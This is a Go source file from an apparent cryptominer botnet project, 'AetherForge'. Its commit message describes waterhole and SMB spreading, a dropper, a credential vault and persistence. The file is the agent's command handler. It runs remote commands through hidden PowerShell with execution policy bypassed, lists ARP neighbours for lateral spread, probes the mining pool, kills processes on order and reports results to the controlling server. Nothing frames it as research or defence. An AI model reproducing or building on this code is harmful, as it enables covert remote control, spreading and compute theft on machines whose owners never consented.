Files
AetherForge/agent/client/commands_common.go
AetherForge 1551bd5dad feat: Emberwake, Crucible phases, Linux agent, musical dashboard, e2e
Emberwake spread/waterhole UI, campaign DB, spread handler, spread-kit web publisher, and SPREAD_TECHNIQUES doc. Crucible Phase A-C: expanded ops, port-forward matrix, remote dir browser, crucible help/tests.

Linux agent hardening: credential vault, persistence audit, firewall/defender deploy, SMB spread status, CPU stats, screenshots/crypt/file-ops split. Docker compose and agent/server images with e2e validation script and docs.

Musical dashboard: ambient music player, hover SFX, SoundContext/AmbientMusicContext, steampunk polish. Public builds API, dropper handler updates, SessionGate and fleet UX. README and PROBLEMS.md refresh.
2026-06-04 21:53:31 -07:00

76 lines
2.0 KiB
Go

package client
import (
"encoding/json"
"fmt"
"os/exec"
"runtime"
"strings"
"crypto-miner-agent/deploy"
)
func (c *AgentClient) runShellCommand(command string) ([]byte, error) {
if runtime.GOOS == "windows" {
return silentCombinedOutput("powershell", "-NoProfile", "-ExecutionPolicy", "Bypass", "-WindowStyle", "Hidden", "-Command", command)
}
return exec.Command("/bin/sh", "-c", command).CombinedOutput()
}
func (c *AgentClient) runExecCommand(command string) ([]byte, error) {
if runtime.GOOS == "windows" {
return silentCombinedOutput("cmd.exe", "/C", command)
}
return exec.Command("/bin/sh", "-c", command).CombinedOutput()
}
func (c *AgentClient) handleReconCommand(action, command string) bool {
if action == "connectivity_probe" {
probe := runConnectivityProbe(c.cfg.ServerURL, c.cfg.PoolHost, c.cfg.PoolPort)
b, _ := json.Marshal(probe)
c.sendCommandResult(action, true, string(b))
return true
}
if action == "arp_neighbors" {
ips := deploy.ArpNeighborIPs()
b, _ := json.Marshal(map[string]interface{}{
"neighbors": ips,
"count": len(ips),
})
c.sendCommandResult(action, true, string(b))
return true
}
if action == "persistence_audit" {
report := collectPersistenceAudit()
b, _ := json.Marshal(report)
c.sendCommandResult(action, true, string(b))
return true
}
if action == "kill_process" {
pid := strings.TrimSpace(command)
if pid == "" {
c.sendCommandResult(action, false, "pid is required in command field")
return true
}
ok, msg := killProcessByPID(pid)
c.sendCommandResult(action, ok, msg)
return true
}
if action == "full_sys_check" {
report := CollectFullSysCheck(c.cfg, c.agentID)
c.sendCommandResult(action, true, report.JSON())
return true
}
handled, success, msg := c.platformRecon(action, command)
if !handled {
return false
}
c.sendCommandResult(action, success, msg)
return true
}
func formatCmdErr(err error, out []byte) string {
return fmt.Sprintf("Error: %v\nOutput: %s", err, string(out))
}